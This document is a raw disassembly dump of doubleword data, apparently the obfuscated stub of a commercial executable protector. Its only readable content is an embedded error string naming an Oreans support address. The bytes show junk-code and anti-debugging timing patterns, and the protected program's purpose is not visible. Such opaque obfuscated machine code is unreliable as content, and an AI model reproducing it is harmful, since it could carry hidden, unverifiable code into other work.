dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0DE4CBF84h dd 2746B000h, 7830FABh, 0F000000h, 18Dh, 0B70FF800h, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0AF7E5FF0h, 1800FBFh, 0F8000000h, 0E910E8C1h, 0Eh, 2C32F777h dd 15E3498Fh, 3C00DDBh, 0C1664F2Bh, 6A08C8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 21974FC3h dd 0C68160DBh, 7008457Ch, 486D50B9h, 6E96163h, 41000000h dd 8BB95A52h, 0B48589B6h, 6A064769h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7949C355h dd 699DED40h, 0F600255h, 6661C8BFh, 6A08CBC1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 9290C355h, 38FFA8DAh, 0F969A9BEh, 3840F60h, 80000000h dd 0C18B8CD0h, 81666061h, 0FA668D8h, 8361C6B7h, 850F40FBh dd 4Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 4C35141h, 0DAEA4A0Ch, 0A1EEC590h, 0BD8DF59Eh, 6476988h dd 0D38A60F8h, 47C9BB66h, 19EE961h, 890F0000h, 0Ch, 6820Fh dd 850F0000h, 0 dd 0F0DFB83h, 5F85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0ACE899F5h, 0FC60E96Ch dd 970F57BBh, 0BD8D612Ah, 6476990h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 63C35242h, 9F3C2C19h, 0F82F86C3h dd 12BE9h, 27B86000h, 610B1138h, 0F01FB83h, 8785h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 1AAD7FDAh, 8885D5D3h, 0FE9h, 9F5E6300h, 2DBFAB35h, 59481168h dd 16A136ECh, 6998BD8Dh, 6A0647h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BDE9EBC3h, 0E9000000h dd 9, 278B586Dh, 0ED0B85D6h, 158C0FC6h, 0F000000h, 0F83h dd 0AE900h, 6CBE0000h, 0C337E483h, 51DEFF5Eh, 0F2AFB83h dd 5785h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 7C6AE5C0h, 5E98104h, 0CC000000h dd 4F78755Bh, 0A0BD8DF5h, 0F8064769h, 53E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0DB6FE2FCh, 0F27FB83h, 32985h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 16B1C06Bh dd 8F8D61h, 0A8BD8DF5h, 0F9064769h, 69B8BD89h, 53600647h dd 0F5FCF8Bh, 585h, 0AF3EB900h, 66611385h, 6AC88Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0BAA86FC3h, 0E96D19C2h, 0Eh, 0CFE07DEEh, 8E1FE852h dd 0B6B44FF0h, 8F0F6BA8h, 18h, 13E9h, 0FCA6EA00h, 6F4DE913h dd 5C6DF03Ch, 26410D42h, 0F75F3FEBh, 0AF90324h, 0F6850FC0h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0CDAAC351h, 62FBF9E3h, 0F51F62B5h dd 70A1B58Dh, 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0CE512FC3h, 0BA40B02Ah, 0FC2642Ah dd 0E8Bh, 9E900h, 0B6BB0000h, 0EFD92B85h, 8B017E79h, 47712085h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0F74CE53h, 4D4E0BD0h, 6092F98Eh, 0F616060h dd 81h, 8B666100h, 0F5061DFh, 0E80h, 0F525000h, 8Eh, 60310F00h dd 92585A61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 49C35545h, 0F1186DDh, 0FE244C01h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h, 23A279CBh dd 8A0F5E99h, 1, 840F5AF5h, 1, 24C283F9h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 59C35545h, 19205129h dd 0FCD9D6B3h, 7830Fh, 890F0000h, 1, 728966FCh, 0D8C0FFCh dd 0E9000000h, 8, 0E0C46238h, 55F2B08Ch, 6A10CEC1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0DDDC352h, 57FFAD02h, 66D81B68h, 6A027289h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0D4EC353h, 45ABCBF5h, 0A890Fh, 5E90000h, 87000000h dd 82FAC0CEh, 6A04CDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 6C7F93C3h, 6E9h, 68A79600h, 6082AF4Bh dd 0E9F38B66h, 0Ah, 514ADDE5h, 6C57E343h, 0E9610CEAh, 50h dd 20858BF8h, 60064771h, 0B9516EB3h, 5C91F075h, 8DF5615Fh dd 4770A1B5h, 0E9516006h, 0Ah, 43BDC82Ch, 7A89FD2Fh, 0B55813D2h dd 8060617Eh, 8F0F7BCEh, 2, 8D61EE8Ah, 4740A285h, 0D0FFFC06h dd 6601B260h, 6061FB8Bh, 6105DB80h, 69B08589h, 6A0647h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0D94EDFC3h, 5DF728B4h, 6E90F43h, 0EB000000h, 7A079A60h dd 8E9A0h, 8C120000h, 898B6A4Ah, 0E961C4A8h, 12h, 19419603h dd 0CAAA1B62h, 17249DF6h, 62828A8Fh, 858B3776h, 64769B0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0BCC35141h dd 0CA7F4104h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 801BB06Bh, 0D551A426h dd 0EE9h, 0CD410200h, 0D2F13D88h, 1E8B4198h, 604CA258h dd 8EEF8060h, 1850F61h, 0F8000000h, 7120BD83h, 0F000647h dd 4985h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0C7CC2327h, 47712085h, 1013F06h dd 840FF500h, 1Ah, 14880Fh, 0FE90000h, 0A0000000h, 231C79Ah dd 934B8C69h, 4526539Ch, 15E9E972h, 0E9000000h, 10h, 34B88320h dd 0C05C0BAEh, 4509F078h, 0F1D1066Bh, 20CDh, 0C00B0000h dd 708D3774h, 0B8BD8B0Ch, 0B9064769h, 8, 492275A6h, 488BFA75h dd 0B49D8B30h, 3B064769h, 157F3458h, 0D26BD38Bh, 8BCA0304h dd 0B0858901h, 0EB064769h, 0EB008B04h, 858B61C5h, 64769B0h dd 860FF8CFh, 0Eh, 9E9h, 57255100h, 0EA2990CEh, 840F4CA7h dd 1, 0E8C08BF9h, 10h, 0B7D1B450h, 0BCAFA577h, 0DEC6E863h dd 0AA46FD5Ah, 9FADBA66h, 8B0575Fh, 85C7815Ah, 0BB000065h dd 48B35D40h, 4406EB81h, 665148B3h, 58526DBEh, 81660F8Bh dd 8165FFDEh, 0FD9D43C1h, 14E961h, 908E0000h, 5F710269h dd 8D607489h, 0EC3FC298h, 84429DDCh, 0F1819629h, 4FD06B49h dd 1D234FBAh, 9FC18140h, 0E961BFEBh, 6, 85CB2FA1h, 665161EEh dd 0BAEAEE81h, 0BF0F078Fh, 82EF81F6h, 815DB1B1h, 0C52797CEh dd 7EC7814Fh, 0BA5DB1B1h, 2E5EF55Bh, 0F01EB83h, 0FFFF9385h dd 0C3BA66FFh, 8E8C7h, 62B90000h, 4A094F7Bh, 0BE910C5h dd 9B000000h, 782AC62Ch, 982E301Ah, 565F8DADh, 61616060h dd 0ADC78158h, 0E800005Ah, 12h, 0DC014Ah, 0AF682BCEh, 0F8BE79h dd 5FA454CAh, 0F50D702h, 81h, 685A5E00h, 0 dd 0CFE88166h, 13E95B66h, 6F000000h, 48DF0CC7h, 88ED4D27h dd 61E9CFDDh, 0AB2903DEh, 34FF9A33h, 8B59FC3Bh, 9F181C2h dd 81576F7Dh, 52D10D0h, 0FCC1813Ch, 0E9462C48h, 14h, 2BF9AA8h dd 46250677h, 0D0F4F802h, 0C176F426h, 124A248Ah, 319CE981h dd 51F81045h, 0D7C88166h, 1F048FAFh, 8166C68Bh, 83EFD4E6h dd 0BA6603EBh, 0B64B86D0h, 34FB817Eh, 0FFFFFA6h, 0D85h dd 0F1BF0F00h, 16E9h, 0B6C5A800h, 8FE9E45Fh, 0D4FFFFFFh dd 8A8CD25Dh, 984E1C01h, 0E9FF59CDh, 83h, 56525153h, 245C8B57h dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh dd 5785h, 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h, 4243E875h dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 400E9CAh dd 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset loc_55FFFD+3 dd offset dword_445750+0A8B0h dd 0 dd 0C8E90000h, 89000010h, 4429F1B5h, 85858B06h, 6A06441Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0AB98C356h, 0AC7DD10h, 0F9C94F3Bh, 175D8501h dd 44390644h, 850F0424h, 6Fh, 0BDBD3160h, 66064425h, 21A5CB81h dd 7DBD8361h, 64421h, 55840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E59302C3h dd 8997A71Bh, 441FAD8Dh, 31FC6006h, 440C4D95h, 858D6106h dd 6443A65h, 60E0FFF5h, 12E9h, 56EA1E00h, 0EFA302F3h, 0C58163E3h dd 37B0F705h, 0F5959BFh, 8B61C2B7h, 440E2585h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 201C93CBh, 128C0Fh, 890F0000h, 0Ch, 7E9h, 0B2F0DB00h dd 739B10Dh, 4244439h, 45850Fh, 8F0F0000h, 6, 25459589h dd 85C70644h, 64777A0h, 1, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0F5C35040h, 68E0F79h, 89000000h, 44009DBDh dd 89858906h, 60064409h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0D1C35747h, 2AD8BDA7h, 5E9399Ah, 0FC000000h dd 0 dd 1B8h, 0E858700h, 0B064779h, 0FFF675C0h, 4402E9B5h, 98858F06h dd 6A064777h, 0FFFF6A20h, 44301595h, 69BD8306h, 64416h dd 6A0874h, 1C4D95FFh, 0BD830644h, 6441BE9h, 680D7401h dd 80h, 95FFFF6Ah, 6443015h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0EAC35242h, 37C9C848h, 3399D09h dd 2BF90644h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0DCCB2C9h, 0B7910F1Bh, 0B5898DB7h dd 6440755h, 2824548Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0D7C35040h, 4DB4DC75h, 57A56F8Ch, 19F98589h dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0ECA1ECC3h, 58C0Fh, 0FC600000h, 0E9615850h dd 0Dh, 83FDD9B9h, 18AB40C7h, 0DB1F5B8Eh, 3CBE0Fh, 0E8600000h dd 0Fh, 0D6D5EA07h, 1FAABE1Bh, 7370850h, 0F1C94F1h, 8Ah dd 958B5F00h, 6441D11h, 24740361h, 759D8924h, 66064421h dd 52006AADh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0E00A8A87h, 0A0B04A92h, 66606050h, 0CE8BF18Bh dd 95E68061h, 24440361h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 9BB0EB81h, 0C411CCF6h dd 11E9h, 0C4820C00h, 6A126980h, 0BACB7E63h, 4A9A6503h dd 0B5894088h, 64425ADh, 52506090h, 9E95A4BEh, 0E8310F28h dd 7, 71A765CEh, 5E09DD4Ah, 6660585Ah, 0E8599DBFh, 0Fh dd 80AE1BE6h, 0AD67D933h, 0A0A62612h, 5F9C0CB6h, 0E9506161h dd 0Ah, 0D8033FFFh, 0FB393D80h, 89905DA2h, 44311D95h, 78408B06h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h dd 0D88BBBD7h, 837133B8h, 4777A0BDh, 850F0006h, 102h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F7C35242h, 60508893h dd 52CA8B66h, 615FF78Bh, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DCC7C356h dd 5999A46Eh, 13C5B589h, 8D890644h, 6442949h, 98C0Fh, 0BE600000h dd 47F47E37h, 8B615E53h, 92C2444h, 4425AD95h, 0BD8B6006h dd 6440E1Dh, 61F3B70Fh, 13E990h, 4F560000h, 5B543FBAh dd 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh, 52505024h, 5E9h, 6AE32800h dd 310FFAEAh, 68D0Fh, 52500000h, 585A310Fh, 6A90585Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 9CE0C357h, 41858D2Eh, 6A06473Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8939C356h, 442589BDh, 29D0FF06h, 44239585h, 4403F906h dd 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0A0B8CFC3h, 1DE3D1C8h, 0FC60DD7Eh, 1DC18D8Bh dd 8B610644h, 6A1840h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 1803FFC3h, 0F59F6536h, 5E940h, 0EC450000h dd 8994E482h, 47779C85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 89632BB7h, 0CA067250h dd 8958957Ah, 44306995h, 78708B06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0C3C35646h, 1A5D9589h, 0C6830644h dd 0FE91Ch, 0D47D0000h, 1A0F5E53h, 3C38EDBDh, 9E51DF6Bh dd 6A96D4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0A12F57C3h, 57389E0Dh, 7C81BEEBh, 2424h dd 870F1000h, 0F0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0EAC35747h, 69BD01h, 0BD090644h, 64406E1h dd 0C38B6090h, 6890Fh, 800F0000h, 0 dd 0FE95061h, 71000000h, 8C405217h, 0FC11B410h, 1CF39844h dd 29905180h, 440B358Dh, 24448B06h, 0D9858928h, 9006441Ch dd 0F605250h, 8Dh, 310F6100h, 6850Fh, 8E0F0000h, 0 aZxps db 'ZXPИ',7,0 align 10h dd 7568618Bh, 90D1A0F7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0EBC35545h, 0EB14288Bh, 2EF1BD89h, 8D890644h dd 64430F9h, 3B41858Dh, 8D890647h, 6441551h, 6AD0FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0ECA52C3h, 9E9FC47h, 0CD000000h, 8B5DEFFDh, 0A418B1EAh dd 0BE996h, 449D0000h, 3005241Bh, 9AD6F2E3h, 2474031Dh dd 95BD8924h, 8906440Ah, 4429B9B5h, 31BD8D06h, 0E906440Eh dd 7, 703542F4h, 0ADB85F5Ah, 247C81F8h, 24h, 0E9870F10h dd 31000000h, 44219185h, 7E99006h, 13000000h, 0BC7679B7h dd 0E9502C78h, 12h, 1D0D6612h, 266AA778h, 0AA93998Eh, 0E1995C92h dd 6A90F2B8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 3635C351h, 29C7F1B8h, 4414CDB5h dd 24448B06h, 5E928h, 70F50000h, 18E779Ah, 442F39BDh, 8F0F5006h dd 12h, 52505250h, 585A310Fh, 8A0F310Fh, 0 dd 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 7198E207h, 0F1027F5h, 680h, 918D8900h dd 8D06442Bh, 473B4185h, 88B0F06h, 0F000000h, 288h, 0FF616000h dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0F050178Fh, 0F8221291h, 24244403h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8DC35646h, 89606FA2h dd 4416B98Dh, 81B58B06h, 6106440Ch, 0CE960h, 379C0000h dd 9C10848Bh, 3CEF563Eh, 958B3B70h, 6440235h, 0EE9AB61h dd 6C000000h, 0B537F654h, 70EC3325h, 2FF0AE0Bh, 0FA8120h dd 0F000100h, 69282h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 10E9E7h, 0A7540000h, 460E1B86h dd 0CAFCAF65h, 0F8F4C088h, 0BD8D4B66h, 64408C5h, 6AADF5h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 674F39C3h, 81A75DF3h, 24247Ch, 0F100000h, 0CC87h, 128A0F00h dd 60000000h, 6E9h, 5BEE9F00h, 66BBCF3Fh, 0C9C0F681h, 52505061h dd 52505250h, 585A310Fh, 8C0F310Fh, 0 dd 310F585Ah, 0F525060h, 50585A31h, 585A615Eh, 89240489h dd 441F618Dh, 24448B06h, 6E96028h, 9E000000h, 80972854h dd 81666042h, 61D786CEh, 52505061h, 0FA8B6660h, 0BE9h dd 71145E00h, 68B84739h, 0D0A33DF2h, 50310F61h, 840F52h dd 0F000000h, 5E931h, 12F80000h, 5A205A43h, 89585A58h dd 85292404h, 6440DB1h, 3B41858Dh, 6A0647h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 6E9A6C3h dd 0B5000000h, 39D1DE7Fh, 89D0FF67h, 4429F9B5h, 24440306h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0EDC2063Ah, 11E917h, 0D7030000h, 0DDEB4C5Ah dd 4A875C60h, 0AA7B5F13h, 90A3C3AAh, 17890Fh, 840F0000h dd 11h, 0CE9h, 8B17B000h, 419464A4h, 0CB95C06Fh, 830F500Bh dd 0Eh, 9E9h, 4556E400h, 0D88EB7A2h, 0F8906AA5h, 52006AABh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 666060CCh, 92DA7BFh, 4417B99Dh, 8D8B6106h, 64414C1h dd 69BD8D61h, 0F506440Dh, 7C81F9ADh, 2824h, 870F1000h dd 0B6h, 251D9501h, 60500644h, 61D88B66h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 9D75C353h, 5670E121h, 448BFCB9h, 8D312C24h, 6442169h dd 60525090h, 0F615E57h, 13E931h, 0D3F70000h, 0A37E0B20h dd 4160984Bh, 0B98BBA03h, 0DC3E627Ah, 50585AB7h, 12E9h dd 0A5314000h, 0EEBB8CB9h, 612D2EFFh, 44CE633Ah, 90313712h dd 0B99D8960h, 0F064425h, 0F8Eh, 9E800h, 4A490000h, 7E11C605h dd 5FC73069h, 41858D61h, 0E906473Bh, 0Eh, 71456FACh, 1FB86418h dd 9AEBA35Eh, 0D0FF5210h, 1EA59501h, 44030644h, 14E92824h dd 0F8000000h, 77456D7Bh, 8D6ADC23h, 8F89988Ah, 0F39058CCh dd 0ABC2C694h, 1AFD8D29h, 0FF5E0644h, 47779C8Dh, 9CBD8306h dd 64777h, 0C0330A75h, 8574B58Dh, 0E6FF0647h, 7C81AD56h dd 2824h, 0E771000h, 24448B50h, 858D502Ch, 6473B41h, 4403D0FFh dd 8B972824h, 98858ADFh, 84064777h, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 4419F985h, 0FF5DE906h, 6A5EFFFFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E0BDC352h dd 0D9318C0Fh, 87D03B45h, 9E9h, 0A7571400h, 0FC0FD0D3h dd 816005AAh, 0BE5531C8h, 61FC8A3Dh, 19F9858Bh, 800F0644h dd 6, 0C118589h, 0E0D10644h, 0CE960h, 4DD0000h, 5F8B90C0h dd 124CD3E3h, 0BD8BF22Fh, 6441AD1h, 69850361h, 6A06440Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0A992C350h, 8D0FF62Bh, 0Eh, 820F60h, 81000000h dd 5BD5D2E6h, 0E9966172h, 10h, 0C334BB02h, 1E934D45h, 26B0A0D0h dd 67237054h, 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0D00E5DC3h, 406011F0h, 8E0F7D8Ah dd 1, 2E0C1F8h, 67D88160h, 89374ADBh, 440AC185h, 85036106h dd 6440E31h, 12E9h, 0FC730600h, 129DEC2Eh, 31E97F36h, 0D411FC6Ch dd 964B6757h, 0DB58B60h, 61064418h, 0FE9ADF8h, 0DF000000h dd 610CB1B6h, 50B2652Bh, 0C7B8FC45h, 7C81307Fh, 2424h dd 870F1000h, 0AAh, 0D8C0Fh, 8E90000h, 0CD000000h, 4657ED02h dd 504C432Ch, 8E0F5250h, 6, 310F5250h, 310F585Ah, 60616060h dd 585A6161h, 60240489h, 61FCC18Bh, 2824448Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 57C35646h, 0E950FC89h dd 14h, 60F9A6E1h, 1E565F98h, 8A12C9BDh, 75FF9BD7h, 867D4C74h dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 5D07C350h, 3B41858Dh, 66600647h dd 8B1334B9h, 442CE9BDh, 0D0FF6106h, 2F98529h, 44030644h dd 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 4FBBDBC3h, 0F7CA349h, 958B60E8h, 644006Dh dd 118C0Fh, 0CE90000h, 3B000000h, 3C42253Ah, 0E372C755h dd 619CAB34h, 8820Fh, 890F0000h, 2, 44896160h, 6A1C24h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 5AA670C3h, 0EA394AB5h, 0FC05297h, 689h, 0B19D0100h dd 0E906441Ah, 8, 5F76DAC8h, 84DFB8A4h, 2E985C6h, 0C7000644h dd 47790E85h, 6, 0A085C700h, 64777h, 0E9000000h, 10h, 0D1744846h dd 0A20C5CF7h, 71DF4B38h, 0B5673192h, 53006AF5h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0AE5A08Bh, 6A61F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 3EF773C3h, 2529D59Fh, 0F8AC9FFFh dd 6A0008C2h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0C144C357h, 9E9h, 3B7E5300h, 0B7524C93h dd 8BFCAEBEh, 440E3185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 20220DFDh, 0F78B580h dd 0C870F4Ah, 0F000000h, 68Fh, 8E0F00h, 6B000000h, 6A04D2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0DE97FC3h, 53000000h, 883645A2h, 5239227Ch, 245ABF22h dd 96F5C203h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 39C35242h, 0C4165A41h, 0CC5F8E54h, 29950108h, 0AD064407h dd 0F658D89h, 7C810644h, 2424h, 870F1000h, 12Bh, 11880Fh dd 0CE90000h, 0D9000000h, 90D2B973h, 0E5FE170Dh, 0FA9AA98h dd 685h, 49BD0900h, 50064422h, 0EE95250h, 99000000h, 0EF5FE744h dd 77AFA6AFh, 0E6CE558Dh, 0F310FA7h, 1185h, 0CE900h, 39430000h dd 75F29051h, 556B6289h, 585A6A5Ch, 0F5240489h, 2824448Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CAC35343h dd 0E076F566h, 0EE9FC60h, 50000000h, 60C2AB12h, 0B54B3E0Bh dd 337646D1h, 0B9606177h, 1CDBD77Ch, 96CA1CBFh, 0E9906145h dd 0Eh, 0B64ED257h, 7F73D7D2h, 0B660770Ch, 505051CCh, 0DE952h dd 0CB7A0000h, 0EE02D466h, 0F4216E0h, 0F2EA1DEh, 68E0F31h dd 50000000h, 5A310F52h, 90585A58h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 33C35141h, 8CF1AFD0h, 8DEFD0F3h dd 473B4185h, 0D0FFFC06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 7FC35343h, 4016FE56h, 39952920h, 0E906440Dh dd 0FFFFFCE2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 2DC35747h, 2EAEA15Eh dd 0DE92Eh, 8EB00000h, 79A4CE83h, 0A7ED9255h, 8DD25209h dd 478B5885h, 0F1BD2906h, 50064431h, 12E9h, 0E0CEE700h dd 655F3D36h, 4AD9CCBEh, 0C24DBAB5h, 89485EA2h, 8E0F2404h dd 0Bh, 6E9h, 0E3A4E800h, 64F957C6h, 35FFh, 0EE90000h dd 39000000h, 187F1FDFh, 0A6513732h, 0E1D25029h, 0AE9C3h dd 609E0000h, 0E227B17h, 0EBE4376Fh, 6A24048Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B4B3C357h, 76CB6A0Ah, 1F95BD09h, 85890644h, 644254Dh dd 258964F8h, 0 dd 10819589h, 8DF50644h, 47896385h, 6089F806h, 12E901h dd 0A5C40000h, 21AAC09Eh, 0E3458F0h, 788B1B09h, 685C3395h dd 24DE9FCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8BFC0CC3h, 0E8DBh, 815D0000h, 47895CEDh dd 0FF9CBC06h, 0BD830012h, 6441BE9h, 8B187400h, 44159185h dd 0C606h, 2F3D858Bh, 0C60644h, 0E195FF00h, 60064420h dd 73A4B5FFh, 858D0647h, 64773A8h, 0A0858D50h, 50064775h dd 9A195FFh, 0C4830644h, 6060610Ch, 1CD99D89h, 0B9660644h dd 961C7E4h, 4424E1BDh, 95896106h, 6440751h, 75A0B58Dh dd 6A0647h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 5FACC9C3h, 0F86E445Ah, 225D8529h, 0BD8D0644h dd 6440471h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 8EC35343h, 6820F2Ah, 9000000h, 4424E19Dh, 3E8006h dd 6A840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0DB8A0EC3h, 0E9CCF348h, 12h, 98D404E1h dd 0E695FDA3h, 0B2DC8BCh, 89BB8DD5h, 89A4F378h, 442C4185h dd 0FFB3E906h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0C42719C3h, 85297C97h, 6443209h dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 4ACBEE4Fh, 0AADB5D7Fh, 21058D89h dd 0B8F80644h, 7, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 45C35242h, 94E6FDBAh, 0E1185C7h, 10644h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 32219CC3h, 8D5FB4A6h, 444E558Dh, 41953106h, 0FF06442Ch dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0E9C8310Dh, 8, 9FA15158h, 5005841Eh, 8850Fh dd 31600000h, 4406898Dh, 5C8B6106h, 0E8550C24h, 0 dd 62ED815Dh, 8B06478Bh, 0B883h, 0A4858900h, 8D064773h dd 47895585h, 0B8838906h, 5D000000h, 